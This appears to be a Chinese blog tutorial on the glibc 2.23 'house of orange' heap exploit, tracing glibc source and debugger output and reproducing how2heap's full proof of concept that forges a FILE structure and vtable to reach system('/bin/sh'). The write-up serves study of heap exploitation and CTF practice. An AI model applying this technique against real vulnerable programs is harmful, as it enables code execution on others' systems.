how2heap-2.23-16-house_of_orange

house_of_orange一种存在堆溢出,但没有free功能下的一种堆利用方式
两个关键点,需要熟读glibc源码才能发现的点:

  • 如何在没有free功能下,触发free操作
  • IO_FILE利用链

在没有free功能下,触发free操作

取自ctf wiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/

/*
Otherwise, relay to handle system-dependent cases
*/
else {
      void *p = sysmalloc(nb, av);		// <<<<<<<<<<<<<<<<<<<<<<<<<<<
      if (p != NULL && __builtin_expect (perturb_byte, 0))
        alloc_perturb (p, bytes);
      return p;
}

此时 ptmalloc 已经不能满足用户申请堆内存的操作,需要执行 sysmalloc 来向系统申请更多的空间。 但是对于堆来说有 mmapbrk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中

综上,我们要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一些 libc 中的 check。 首先,malloc 的尺寸不能大于mmp_.mmap_threshold

if (av == NULL || 
	((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max)))
{
  char *mm; /* return value from mmap call*/

try_mmap:

  if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
    size = ALIGN_UP(nb + SIZE_SZ, pagesize);
  else
    size = ALIGN_UP(nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
  tried_mmap = true;

  if ((unsigned long)(size) > (unsigned long)(nb))
  {
    mm = (char *)(MMAP(0, size, PROT_READ | PROT_WRITE, 0));  // <<<<<<<<<<  mmap

    if (mm != MAP_FAILED)
    {

如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。


在 sysmalloc 函数中存在对 top chunk size 的 check

  old_top = av->top;		// 原先的 top chunk 的首地址
  old_size = chunksize(old_top);	// 原先 top chunk中size字段剩余的大小
  old_end = (char *)(chunk_at_offset(old_top, old_size));	// old_end : 原先 top chunk的末尾

  brk = snd_brk = (char *)(MORECORE_FAILURE);

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert((old_top == initial_top(av) && old_size == 0) ||
         ((unsigned long)(old_size) >= MINSIZE &&	// 【1】size 要大于 MINSIZE(0x10)
          prev_inuse(old_top) &&		// 【2】size 的 prev inuse 位必须为 1
          ((unsigned long)old_end & (pagesize - 1)) == 0)); // 【3】伪造的 size 必须要对齐到内存页

  /* Precondition: not enough current space to satisfy nb request */
   // 【4】size 要小于之后申请的 chunk size + MINSIZE(0x10)
  assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
  • 【1】如果第一次调用本函数,top chunk 可能没有初始化,所以可能 old_size 为 0。 如果 top chunk 已经初始化了,那么 top chunk 的大小必须大于等于 MINSIZE,因为 top chunk 中包含了 fencepost,所以 top chunk 的大小必须要大于 MINSIZE。
  • 【2】其次 top chunk 必须标识前一个 chunk 处于 inuse 状态,
  • 【3】并且 top chunk 的结束地址必定是页对齐的。
  • 【4】此外 top chunk 除去 fencepost 的大小必定要小于所需 chunk 的大小,否则在_int_malloc() 函数中会使用 top chunk 分割出 chunk

好了,假设现在如果存在堆溢出,修改top chunk的size,并成功freetop chunk

#include <malloc.h>

int main()
{
    char * p1;
    char * p2;
    size_t * top;
    p1 = malloc(0xfb0);
    top = (size_t *) ( (char *) p1 + 0xfb0);
    top[1] = 0x41;

    p2 = malloc(0x1000);
    return 0;
}

在这里插入图片描述

这里把原先的top chunk改成了0x41,top chunk首地址+ top chunk size 也是页对其的,但是有个问题,这个伪造的top chunk由于过小,没有放到fast bin中,直接舍弃不用了


下面这个例子

#include <malloc.h>

int main()
{
    char * p1;
    char * p2;
    size_t * top;
    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    p2 = malloc(0x1000);
    return 0;
}

修改原先的top chunk size为 unsorted bin大小,在top chunk被释放后,被放置到unsorted bin中,还有被继续利用的机会
在这里插入图片描述

IO_FILE

打开的文件用IO_FILE表示,在源码调试时,可以使用 ptype _IO_FILE查看结构体。_IO_FILE结构体_chain字段将所有打开的文件链在一起

pwndbg> ptype _IO_FILE
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;		// <<<<<<<< 通过 _chain 将所有打开的文件链接起来
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    char _unused2[20];
}

也可以通过ptype /o _IO_FILE查看结构体中各字段的偏移

pwndbg> ptype /o _IO_FILE
type = struct _IO_FILE {
/*    0      |     4 */    int _flags;
/* XXX  4-byte hole  */
/*    8      |     8 */    char *_IO_read_ptr;
/*   16      |     8 */    char *_IO_read_end;
/*   24      |     8 */    char *_IO_read_base;
/*   32      |     8 */    char *_IO_write_base;
/*   40      |     8 */    char *_IO_write_ptr;
/*   48      |     8 */    char *_IO_write_end;
/*   56      |     8 */    char *_IO_buf_base;
/*   64      |     8 */    char *_IO_buf_end;
/*   72      |     8 */    char *_IO_save_base;
/*   80      |     8 */    char *_IO_backup_base;
/*   88      |     8 */    char *_IO_save_end;
/*   96      |     8 */    struct _IO_marker *_markers;
/*  104      |     8 */    struct _IO_FILE *_chain;
/*  112      |     4 */    int _fileno;
/*  116      |     4 */    int _flags2;
/*  120      |     8 */    __off_t _old_offset;
/*  128      |     2 */    unsigned short _cur_column;
/*  130      |     1 */    signed char _vtable_offset;
/*  131      |     1 */    char _shortbuf[1];
/* XXX  4-byte hole  */
/*  136      |     8 */    _IO_lock_t *_lock;
/*  144      |     8 */    __off64_t _offset;
/*  152      |     8 */    struct _IO_codecvt *_codecvt;
/*  160      |     8 */    struct _IO_wide_data *_wide_data;
/*  168      |     8 */    struct _IO_FILE *_freeres_list;
/*  176      |     8 */    void *_freeres_buf;
/*  184      |     8 */    size_t __pad5;
/*  192      |     4 */    int _mode;
/*  196      |    20 */    char _unused2[20];

                           /* total size (bytes):  216 */
                         }

打开文件链表的头结点为_IO_list_all,同时看到有个 const struct _IO_jump_t *vtable;,对文件的各种操作都是通过这个vtable中的函数指针

pwndbg> ptype _IO_list_all
type = struct _IO_FILE_plus {
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
} *
pwndbg> p &_IO_list_all->file
$12 = (_IO_FILE *) 0x7ffff7b8d540 <_IO_2_1_stderr_>
pwndbg> p _IO_list_all->file->_chain
$13 = (struct _IO_FILE *) 0x7ffff7b8d620 <_IO_2_1_stdout_>
pwndbg> p _IO_list_all->file->_chain->_chain
$14 = (struct _IO_FILE *) 0x7ffff7b8c8e0 <_IO_2_1_stdin_>
pwndbg> ptype struct _IO_jump_t
type = struct _IO_jump_t {
    size_t __dummy;
    size_t __dummy2;
    _IO_finish_t __finish;
    _IO_overflow_t __overflow;
    _IO_underflow_t __underflow;
    _IO_underflow_t __uflow;
    _IO_pbackfail_t __pbackfail;
    _IO_xsputn_t __xsputn;
    _IO_xsgetn_t __xsgetn;
    _IO_seekoff_t __seekoff;
    _IO_seekpos_t __seekpos;
    _IO_setbuf_t __setbuf;
    _IO_sync_t __sync;
    _IO_doallocate_t __doallocate;
    _IO_read_t __read;
    _IO_write_t __write;
    _IO_seek_t __seek;
    _IO_close_t __close;
    _IO_stat_t __stat;
    _IO_showmanyc_t __showmanyc;
    _IO_imbue_t __imbue;
}

当然对于不同类型的文件,不同的打开方式,会调用不同类型的struct _IO_jump_tvtable表中的函数

house of orange的目的是什么

通过漏洞修改 vtable表中的函数指针为system相关的地址,从而get shell,house of orange 选择的是修改_IO_jump_t表中的__overflow

pwndbg> ptype struct _IO_jump_t
type = struct _IO_jump_t {
    size_t __dummy;
    size_t __dummy2;
    _IO_finish_t __finish;
    _IO_overflow_t __overflow;		// <<<<<<<<<<<<<<<<<<<<<<<<<<<
    _IO_underflow_t __underflow;
    _IO_underflow_t __uflow;
    _IO_pbackfail_t __pbackfail;
    _IO_xsputn_t __xsputn;
    _IO_xsgetn_t __xsgetn;
    _IO_seekoff_t __seekoff;
    _IO_seekpos_t __seekpos;
    _IO_setbuf_t __setbuf;
    _IO_sync_t __sync;
    _IO_doallocate_t __doallocate;
    _IO_read_t __read;
    _IO_write_t __write;
    _IO_seek_t __seek;
    _IO_close_t __close;
    _IO_stat_t __stat;
    _IO_showmanyc_t __showmanyc;
    _IO_imbue_t __imbue;
}

如何触发

参考:
house-of-orange 学习总结
ctf wiki FSOP
在这里插入图片描述

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

...

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)//将_IO_OVERFLOW覆盖成system,fp的地址上填充"/bin/sh"
	result = EOF;

            ...
      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain; //单链表链接,通过这个,即使无法控制main_arena中的数据,但是通过chain链,将控制转移到我们到我们能控制的地方。
    }

    ...
  return result;
}
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

# define _IO_JUMPS_FUNC(THIS) \
 (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
			   + (THIS)->_vtable_offset))

_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  • 当 libc 执行 abort 流程时
  • 当执行 exit 函数时
  • 当执行流从 main 函数返回时

如何构造

在了解到house_of_orange提出如下两点

  • free调用时的chunk释放
  • 利用_IO_flush_all_lockp

结合how2heap的house_of_orange.c来完整的理解一下


首先old top chunk被释放到unsorted bin中,并且是要破坏IO_FILE指向流的调用,结合house_of_orange.c代码知道,首先是破坏_IO_list_all中的_chain链。
在现有的条件下,只能使用unsorted bin attack利用方式
在这里插入图片描述
效果也仅是在_IO_list_all处写入unsorted bin的首地址
在这里插入图片描述
怎么确定_IO_list_all的地址?
首先通过how2heap-2.23-04-unsorted_bin_leak拿到unsorted bin的首地址(main_arean->top的地址)

再通过_malloc_trim获取main_arena在libc.so的偏移
在这里插入图片描述
在这里插入图片描述
通过_IO_flush_all_lockp获取_IO_list_all在libc.so的偏移
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以计算出_IO_list_all的地址


先不考虑如何触发
在实行unsorted bin attack之后,_IO_list_all指向了main_arena->top,这个时候会把main_arean->top当做_chain的第一个struct IO_FILE,但是由于main_arean->top本身数据的问题,
绕不过fp->_IO_write_ptr > fp->_IO_write_base判断,执行 _IO_OVERFLOW (fp, EOF)

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	&& _IO_OVERFLOW (fp, EOF) == EOF)
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

...

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)//将_IO_OVERFLOW覆盖成system,fp的地址上填充"/bin/sh"
	result = EOF;

            ...
      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain; //单链表链接,通过这个,即使无法控制main_arena中的数据,但是通过chain链,将控制转移到我们到我们能控制的地方。
    }

    ...
  return result;
}

在这里插入图片描述
所以,只能遍历_chain,找到下一个struct IO_FILE,还是一样的问题,整个bins中,通过bin的fd和bk都是相等的
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)饶过不去,等想办法将(struct IO_FILE *) &main_arena->top中的_chain修改为受控的空间


在这里插入图片描述

这里有一个很奇妙的做法,通过堆溢出,修改原先top chunk的size为0x61
之后malloc(0x10):

  • 首先查找bins中有没有符号申请大小的chunk,没有找到
  • 遍历unsorted bin,unsorted bin链中的唯一一个chunk,old top chunk被摘除,此时触发unsorted bin attack_IO_list_all地址处的内容被修改为unsorted bin的首地址
  • 同时由于该大小不是申请符合的大小,会被放置到small bin中,也就是old top chunk的地址被写到small bin中
  • 由于精确控制了old top chunksize为0x61,会被正好放置到(struct IO_FILE *) &main_arena->top的_chain字段处

这样遍历的old top chunk就成了遍历_chain的一个struct IO_FILE,由于可以堆溢出写old top chunk,可以控制满足进入 _IO_OVERFLOW (fp, EOF)的条件
在这里插入图片描述

通过通过堆溢出写,修改vtable的地址,为受控的old top chunk空间
在这里插入图片描述
并通过堆溢出修改__overflow,就实现了调用的控制
在这里插入图片描述


IO_FILE执行流是怎么触发的
在申请malloc(0x10)时,会遍历unsorted bin链

  • 第一次遍历会将old top chunk 脱链,此时unsorted bin attack攻击,_IO_list_all-0x10会被认为是unsorted bin链的最后一个chunk
  • 继续遍历unsorted bin链,会取出_IO_list_all-0x10,但是因为有检查报错,进入了malloc_printerr,从而执行了abort,进而执行_IO_flush_all_lockp
   3467   for (;; )
   3468     {
   3469       int iters = 0;
   3470       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
   3471         {
   3472           bck = victim->bk;
   3473           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
   3474               || __builtin_expect (victim->size > av->system_mem, 0))3475             malloc_printerr (check_action, "malloc(): memory corruption",
   3476                              chunk2mem (victim), av);

_IO_list_all-0x10chunk的size不符合要求

pwndbg> p &_IO_list_all
$9 = (struct _IO_FILE_plus **) 0x7ffff7b8d520 <__GI__IO_list_all>
pwndbg> x/16gx 0x7ffff7b8d510
0x7ffff7b8d510:	0x0000000000000000	0x0000000000000000
0x7ffff7b8d520 <__GI__IO_list_all>:	0x00007ffff7b8cb78	0x0000000000000000
0x7ffff7b8d530:	0x0000000000000000	0x0000000000000000
0x7ffff7b8d540 <_IO_2_1_stderr_>:	0x00000000fbad2887	0x00007ffff7b8d5c3
0x7ffff7b8d550 <_IO_2_1_stderr_+16>:	0x00007ffff7b8d5c3	0x00007ffff7b8d5c3
0x7ffff7b8d560 <_IO_2_1_stderr_+32>:	0x00007ffff7b8d5c3	0x00007ffff7b8d5c3
0x7ffff7b8d570 <_IO_2_1_stderr_+48>:	0x00007ffff7b8d5c3	0x00007ffff7b8d5c3
0x7ffff7b8d580 <_IO_2_1_stderr_+64>:	0x00007ffff7b8d5c4	0x0000000000000000

现在看how2heap的house_of_orange应该没啥疑惑了

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
   This function is just present to emulate the scenario where
   the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
    /*
      The House of Orange starts with the assumption that a buffer overflow exists on the heap
      using which the Top (also called the Wilderness) chunk can be corrupted.
      
      At the beginning of execution, the entire heap is part of the Top chunk.
      The first allocations are usually pieces of the Top chunk that are broken off to service the request.
      Thus, with every allocation, the Top chunks keeps getting smaller.
      And in a situation where the size of the Top chunk is smaller than the requested value,
      there are two possibilities:
       1) Extend the Top chunk
       2) Mmap a new page

      If the size requested is smaller than 0x21000, then the former is followed.
    */

    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);

    /*
       The heap is usually allocated with a top chunk of size 0x21000
       Since we've allocate a chunk of size 0x400 already,
       what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

       The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
       it must also be page aligned at the end.

       Also, if a chunk that is adjacent to the Top chunk is to be freed,
       then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

       So that means that there are two conditions that must always be true.
        1) Top chunk + size has to be page aligned
        2) Top chunk's prev_inuse bit has to be set.

       We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
       What's left is 0x20c01

       Now, let's satisfy the conditions
       1) Top chunk + size has to be page aligned
       2) Top chunk's prev_inuse bit has to be set.
    */

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    /* 
       Now we request a chunk of size larger than the size of the Top chunk.
       Malloc tries to service this request by extending the Top chunk
       This forces sysmalloc to be invoked.

       In the usual scenario, the heap looks like the following
          |------------|------------|------...----|
          |    chunk   |    chunk   | Top  ...    |
          |------------|------------|------...----|
      heap start                              heap end

       And the new area that gets allocated is contiguous to the old heap end.
       So the new size of the Top chunk is the sum of the old size and the newly allocated size.

       In order to keep track of this change in size, malloc uses a fencepost chunk,
       which is basically a temporary chunk.

       After the size of the Top chunk has been updated, this chunk gets freed.

       In our scenario however, the heap looks like
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | Top  ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                            heap end

       In this situation, the new Top will be starting from an address that is adjacent to the heap end.
       So the area between the second chunk and the heap end is unused.
       And the old Top chunk gets freed.
       Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
       it gets added to list of unsorted bins.
       Now we request a chunk of size larger than the size of the top chunk.
       This forces sysmalloc to be invoked.
       And ultimately invokes _int_free

       Finally the heap looks like this:
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | free ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                                             new heap end



    */

    p2 = malloc(0x1000);
    /*
      Note that the above chunk will be allocated in a different page
      that gets mmapped. It will be placed after the old heap's end

      Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


      Here starts phase two of the attack. We assume that we have an overflow into the old
      top chunk so we could overwrite the chunk's size.
      For the second phase we utilize this overflow again to overwrite the fd and bk pointer
      of this chunk in the unsorted bin list.
      There are two common ways to exploit the current state:
        - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
        - Use the unlinking of the chunk for an *where*-controlled write of the
          libc's main_arena unsorted-bin-list. (requires at least one allocation)

      The former attack is pretty straight forward to exploit, so we will only elaborate
      on a variant of the latter, developed by Angelboy in the blog post linked above.

      The attack is pretty stunning, as it exploits the abort call itself, which
      is triggered when the libc detects any bogus state of the heap.
      Whenever abort is triggered, it will flush all the file pointers by calling
      _IO_flush_all_lockp. Eventually, walking through the linked list in
      _IO_list_all and calling _IO_OVERFLOW on them.

      The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
      _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
      that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
      More about file-pointer exploitation can be found here:
      https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

      The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
      currently point to the libc's main_arena.
    */

    io_list_all = top[2] + 0x9a8;

    /*
      We plan to overwrite the fd and bk pointers of the old top,
      which has now been added to the unsorted bins.

      When malloc tries to satisfy a request by splitting this free chunk
      the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
      in libc's main_arena.

      Note that this overwrite occurs before the sanity check and therefore, will occur in any
      case.

      Here, we require that chunk->bk->fd to be the value of _IO_list_all.
      So, we should set chunk->bk to be _IO_list_all - 16
    */
 
    top[3] = io_list_all - 0x10;

    /*
      At the end, the system function will be invoked with the pointer to this file pointer.
      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    /*
      The function _IO_flush_all_lockp iterates through the file pointer linked-list
      in _IO_list_all.
      Since we can only overwrite this address with main_arena's unsorted-bin-list,
      the idea is to get control over the memory at the corresponding fd-ptr.
      The address of the next file pointer is located at base_address+0x68.
      This corresponds to smallbin-4, which holds all the smallbins of
      sizes between 90 and 98. For further information about the libc's bin organisation
      see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

      Since we overflow the old top chunk, we also control it's size field.
      Here it gets a little bit tricky, currently the old top chunk is in the
      unsortedbin list. For each allocation, malloc tries to serve the chunks
      in this list first, therefore, iterates over the list.
      Furthermore, it will sort all non-fitting chunks into the corresponding bins.
      If we set the size to 0x61 (97) (prev_inuse bit has to be set)
      and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
      smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
      therefore, occupying the smallbin[4] location in the main_arena and
      eventually representing the fake file pointer's fd-ptr.

      In addition to sorting, malloc will also perform certain size checks on them,
      so after sorting the old top chunk and following the bogus fd pointer
      to _IO_list_all, it will check the corresponding size field, detect
      that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
      and finally triggering the abort call that gets our chain rolling.
      Here is the corresponding code in the libc:
      https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
    */

    top[1] = 0x61;

    /*
      Now comes the part where we satisfy the constraints on the fake file pointer
      required by the function _IO_flush_all_lockp and tested here:
      https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

      We want to satisfy the first condition:
      fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    */

    FILE *fp = (FILE *) top;


    /*
      1. Set mode to 0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) Finally set the jump table to controlled memory and place system there.
      The jump table pointer is right after the FILE struct:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}
  • 21
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值